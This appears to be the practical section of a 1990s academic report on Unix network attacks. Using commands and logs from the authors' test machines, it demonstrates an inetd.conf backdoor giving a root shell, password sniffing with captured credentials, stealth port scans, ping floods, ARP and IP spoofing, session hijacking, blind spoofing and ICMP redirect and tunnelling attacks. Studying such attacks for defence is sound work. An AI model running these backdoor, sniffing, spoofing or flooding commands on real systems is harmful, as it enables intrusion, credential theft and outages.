The backdoor that provides unauthorized but authenticated unprivileged access can be accomplished in two ways. The first requires root access and is two-fold:
[siviwe@lucifer fiddle]$ ./datapipe 5000 23 lucifer
[siviwe@lucifer fiddle]$ telnet lucifer 5000
... Connected to lucifer.ru.ac.za.
... login:
There are two ways of accomplishing the task at hand. The first is the easier of the two methods but is also likely to be noticed more easily. It also involves choosing a port from /etc/services. The one we have chosen is port 4444 or the krb524 port. The following shows how we would mount the attack.
krb524 stream tcp nowait root /bin/bash bash -i
^D
[root@lucifer fiddle]# killall -9 inetd
[root@lucifer fiddle]# inetd && exit > /dev/null 2>&1
[siviwe@lucifer proj]$ telnet lucifer krb524
Connected to lucifer.ru.ac.za.
[root@lucifer /]#
The first thing that needs to be done when attempting packet sniffing is to put the ethernet card in promiscuous mode. This is the mode used to ``read other people's conversations''. The ``ifconfig'' command is available on most Unix implementations and can be used to put the card in promiscuous mode. There are also packet sniffers included with many Unix implementations. The most popular of these packet sniffers is a tool called ``tcpdump''. Although it is highly configurable, it finds more uses in its legitimate purpose (diagnosing networks) than it does in packet sniffing attacks. Tools used to sniff passwords are numerous, the most prominent examples including Sniffit and PCS. Although Sniffit is more configurable, we will consider PCS as it shows rather efficiently the basic principles of packet sniffing.
PCS (PCap Based Sniffer) uses the PCap library which makes reading from raw input devices easier. It has three parameters that are of interest to us. The ``-o'' option is used to specify a different logfile than the default ``tcp.log''. The ``-i'' option is used to indicate which ethernet device to read from. The ``-f'' option is used to specify a filter string instead of using the default. Below is an example of how pcs may be run with some tidied up output obtained from an actual run.
[root@ufh.ac.za]# tail -f output.ufh
interface: eth0, pid: 22126
filter: tcp and (dst port 23 or dst port 21 or dst port 109 or dst port 110
or dst port 513 or dst port 143 or dst port 106)
--
PATH: gauntlet.ru.ac.za(11409) => gauntlet.ufh.ac.za(telnet)
DATE: Mon Oct 12 13:33:06 1998
siviwe
ti&#arb%
su -
~Ne.ver~
named
w
nslookup www.sniffit.com
[timeout]
As mentioned in the theoretical section, this type of scanning is trivial to do. We also mentioned that it is very easy to detect as a full connection is made to establish whether a port is open or not. If the port is open, the connect() function will succeed. If the port is not open, then the connect() call will fail and return -1. The code below shows the part of the scanner that is important. Details on setting up variables, sockets and addresses have been left out. The reader who is interested in seeing the full source for this type of scanner is invited to read the source code of the program ``strobe'', a very popular scanner of this type, in Appendix A.
// Create socket, set address of destination
them.sin_port = htons(port); // Set the port we want to connect to/test
// Finish the setup on their address
if (connect(sockfd,(struct sockaddr *)&them,sizeof(them))== -1) { // Connect
continue; // It's not open - back to loop
}
// Here it's open
printf("Port number %d is open\n",port);
close(sockfd);
}
An example of this type of scanner is called ``StealthScan (tm)''. This scanner can perform all three types of port scanning, namely SYN, ACK and FIN. Below we show how this scanner could be run. Also included below is the ``tail'' of a logfile that logs everything. From the absence of information about the scan, it should be apparent that the scan was not detected. Everything after a hash (#) is the author's comment.
# SYN SCAN with trimmed output
[root@lucifer /root]# ./s1 0 lucifer lucifer 1-6010 20 2
# port 6000 is listening.
# Something logged - nothing that gives identity however.
[root@lucifer /root]# tail -f /var/log/everything
Oct 28 16:14:50 lucifer lpd[282]: accept: Connection reset by peer
# FIN SCAN
[root@lucifer /root]# ./s1 1 lucifer lucifer 1-6010 20 2
# Same ports as SYN SCAN detected. Nothing logged.
# ACK SCAN
[root@lucifer /root]# ./s1 2 lucifer lucifer 1-6010 20 2
# No ports detected. Nothing logged.
Most, if not all, Unix implementations come with the program ``ping''. As a super-user on a machine, executing ping with the ``-f'' flag floods whichever host is being pinged with ICMP echo requests until the program is stopped. This is what we called a ping flood. The ping of death can also be achieved with the ``ping'' program by supplying the ``-s'' flag and a packetsize. The ping program has built in checks for packet sizes that are too big or too small. To disable this, the source code will need to be modified and these checks taken out.
[root@gauntlet]# ./ping -f -s 999999 dog &
[root@lucifer log]# tail -f /var/log/everything
Oct 28 23:50:51 lucifer telnetd[3912]: ttloop: peer died: Invalid or incomplete
multibyte or wide character
Oct 28 23:50:52 lucifer telnetd[4045]: ttloop: read: Broken pipe
Oct 28 23:50:53 lucifer inetd[1020]: telnet/tcp server failing (looping), service
terminated
[\] 3419
Copyright (c) 1980, 1983, 1986, 1988, 1990, 1991 The Regents of the University
of California. All Rights Reserved.
[root@lucifer /root]# tail -f /var/log/everything
Oct 28 17:01:19 lucifer inetd[1020]: ftp/tcp server failing (looping), service
terminated
Oct 28 17:06:52 lucifer inetd[1020]: telnet/tcp server failing (looping), service
terminated
In this section, we will only look at practical aspects of the basic non-blind spoof, session hijacking and blind spoofing. We will not consider NFS, NIS and r* practical security problems in detail. The reason being that blind or non-blind spoofing is usually the prerequisite of such attacks. We will however briefly mention how attacks using them could be mounted in practical terms.
The simplest form of spoofing is to take over an existing IP address. One method of doing this is to fake ARP addresses. Since ARP is stateless, a host sending constant ARP ``replies'' can masquerade as another host, considering the IP is bound to the host in some way. A program called ``send_arp'' does ARP spoofing. Mounting one of the previously mentioned DoS attacks on the host whose address is wanted is another way to make sure it is incapacitated. The following script allows us to add a virtual interface with an arbitrary IP address.
/sbin/ifconfig eth0:0 $1 broadcast 146.231.31.255 netmask 255.255.248.0
/sbin/route add -host $1 dev eth0:0
18:11:47.608857 leda.cs.ru.ac.za.2242 > server.ru.ac.za.telnet: S
172782477:172782477(0) win 8192 <mss 1460> (DF)
18:11:47.618857 leda.cs.ru.ac.za.2242 > server.ru.ac.za.telnet: .
ack 1804864001 win 8760 (DF)
Changing our primary interface address to that of the host which we want to spoof makes life easier. Everything we do appears to come from the host whose address we are spoofing. It is with this method that attacks on services such as the r* family of commands, NFS and NIS become possible and trivial to mount. In the case of NFS, faking the server makes the clients vulnerable to ``evil programs'' put on the server. If the file system is exported read/write, and writes by root are permitted, faking one of the clients is good enough to compromise all the NFS machines connected to the server, including the server. Faking the NIS server makes clients retrieve fake NIS information, making them all vulnerable. Faking one of the clients may not be enough unless there is some other trust relationship e.g. NFS. r* commands like rlogin only require one trusted host to be faked. Once this is done we can remotely login to every host that trusts ours. Knowing which usernames were on the original host and how they map to those on a remote host that trusts us makes it possible to use every single account on the remote system. If the r* command family trust relationship is per host instead of per user, gaining access after spoofing a trusting host is made even more trivial.
Session hijacking is easily accomplished with a program distributed on the Internet as ``hijack.c''. It comes with a suite of programs that also allows for the resetting of connections. The program takes over a connection, and appends to the .profile file the string ``echo Hacked''. Below is a screenshot of the program in action.
Starting Hijacking demo - Brecht Claerhout 1996
------------------------
Takeover phase 1: Stealing connection.
Sending Spoofed clean-up data...
Waiting for spoof to be confirmed...
Phase 1 ended.
Takeover phase 2: Getting on track with SEQ/ACK's again
Server SEQ: 4BF83A56 (hex) ACK: 3662FE6A (hex)
Phase 2 ended.
Takeover phase 3: Sending MY data.
Sending evil data.
Waiting for evil data to be confirmed...
Phase 3 ended.
[root@charon g94k6913]#
A program distributed on the Internet called ``eriu.c'' performs and illustrates blind spoofing. The program comes with a variety of options for mounting the attack. Our experiments with this program proved unsuccessful as our test machines are Linux machines with the 'new' kernels. These machines use the random sequence number generated mentioned in the theoretical part of blind spoofing. For a full explanation and an actual attack of this sort, the reader is referred to [5].
Eriu - Version 0.1 (by Brecht Claerhout <coder@reptile.rug.ac.be>)
Checking permissions... OK
Opening command file... OK
Determining local IP adress... despina
Trying to determine if Target System is 64K ruler...
Probing Target System... OK
Probing Target system for attack... OK
SYN packet fired...
Guessed ACK: 41E5A764
Sending guessed ACK's... DONE
Connection hopefully established...
Executing command file...
Firing packet (DATA)... DONE
Firing packet (DATA)... DONE
Firing packet (DATA)... DONE
Firing packet (DATA)... DONE
Firing packet (ACK)... DONE
Cleaning up (RST)...
[root@despina g94k6913]# cat oof
\000g94k6913\000epsilon\000vt100/9600\000
\255\255ss\000\025\000\080\000\000\000\000
\010
/bin/touch This_site_was_hacked\010
[root@despina g94k6913]#
[g94k6913@omega]$ ls -l This*
-rw-r-r- 1 g94k6913 0 Oct 30 22:05 This_site_was_hacked
ICMP redirection is the most popular method of route spoofing. It is for this reason that it will be the only one of the methods introduced in the theoretical part of route spoofing, that we will deal with at a practical level. A program called ``icmp_redir.c'' can be used to mount an ICMP redirect route spoofing attack. The program creates an ICMP redirect packet with the source address set to the regular gateway and sends it out. The packet contains also contains the ``new'' gateway to use. When the recipients of such a packet see it, they may change their routing tables. For an in-depth look at how this attack works, the reader is referred to [33].
root@hostname# ./icmp_redir 146.231.24.1 146.231.31.51 hippo gauntlet
root@hostname# tcpdump 'icmp[0] != 900'
16:59:42.360000 cisco-rucs03-e1s.ru.ac.za > leda.cs.ru.ac.za: icmp: redirect
gauntlet.ru.ac.za to host cisco-rucs03-e0.ru.ac.za
16:59:52.310000 cisco-rucs03-e1s.ru.ac.za > leda.cs.ru.ac.za: icmp: redirect
hippo.ru.ac.za to host gauntlet.ru.ac.za
16:59:56.720000 gauntlet.ru.ac.za > leda.cs.ru.ac.za: icmp: redirect hippo.ru.ac.za
to host cisco-rucs03-e1s.ru.ac.za [tos 0xd0]
17:00:10.200000 cisco-rucs03-e1s.ru.ac.za > leda.cs.ru.ac.za: icmp: redirect
hippo.ru.ac.za to host gauntlet.ru.ac.za
17:00:14.510000 cisco-rucs03-e0.ru.ac.za > leda.cs.ru.ac.za: icmp: redirect
hippo.ru.ac.za to host gauntlet.ru.ac.za
---------
bash$ w
5:02pm up 59 min, 2 users, load average: 0.01, 0.01, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
g94k6913 ttyp0 :0.0 4:08pm 9.00s 0.45s 0.02s tcpdump icmp[0]
g94k6913 ttyp1 :0.0 4:24pm 0.00s 0.40s 0.08s w
bash$ /usr/sbin/traceroute hippo
traceroute to hippo.ru.ac.za (146.231.128.1), 30 hops max, 40 byte packets
1 * * *
2 * * *
3 *
bash$
Recently a bug in most DNS server software was released. Although the fact that so many DNS servers were vulnerable to the attack was frightening, the bug itself remained a buffer overflow. We have dealt with buffer overflows in depth in previous sections, so we will not continue with the discussion of the recently discovered bug. DNS server security being compromised, as with most other security concerns, is mostly reduced to a buffer overflow. IP Spoofing the DNS server uses the same mechanism discussed above when discussing non-blind spoofing and session hijacking. In the same way that an intruder machine can pretend to be the NIS server, it can also pretend to be a DNS server. With that noted, DNS spoofing attacks can be understood and mounted by reviewing IP Spoofing and buffer overflows.
A suite of programs distributed as ``sneakin.tgz'' perform ICMP tunneling. The suite contains a daemon (icmpd) which is run on the ``server'' that we want to login into. On the client side, we run the actual program ``sneakin''. The program sends two ICMP packets to the daemon, preparing the connection. It also sets up a communication port on the local machine. A special telnet program is then run to connect to this port on the local machine. The principle behind it is that of a reverse telnet program. Communication between client and server through the local port respectively is carried via ICMP ECHO packets to and from the server.
